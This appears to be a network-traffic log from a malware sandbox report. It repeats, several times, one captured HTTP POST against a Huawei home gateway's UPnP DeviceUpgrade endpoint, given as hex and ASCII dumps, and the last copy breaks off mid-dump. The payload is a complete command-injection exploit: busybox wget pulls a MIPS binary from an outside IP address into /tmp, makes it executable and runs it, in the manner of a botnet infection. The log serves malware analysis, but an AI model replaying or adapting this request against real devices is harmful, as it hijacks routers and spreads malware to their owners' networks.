Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 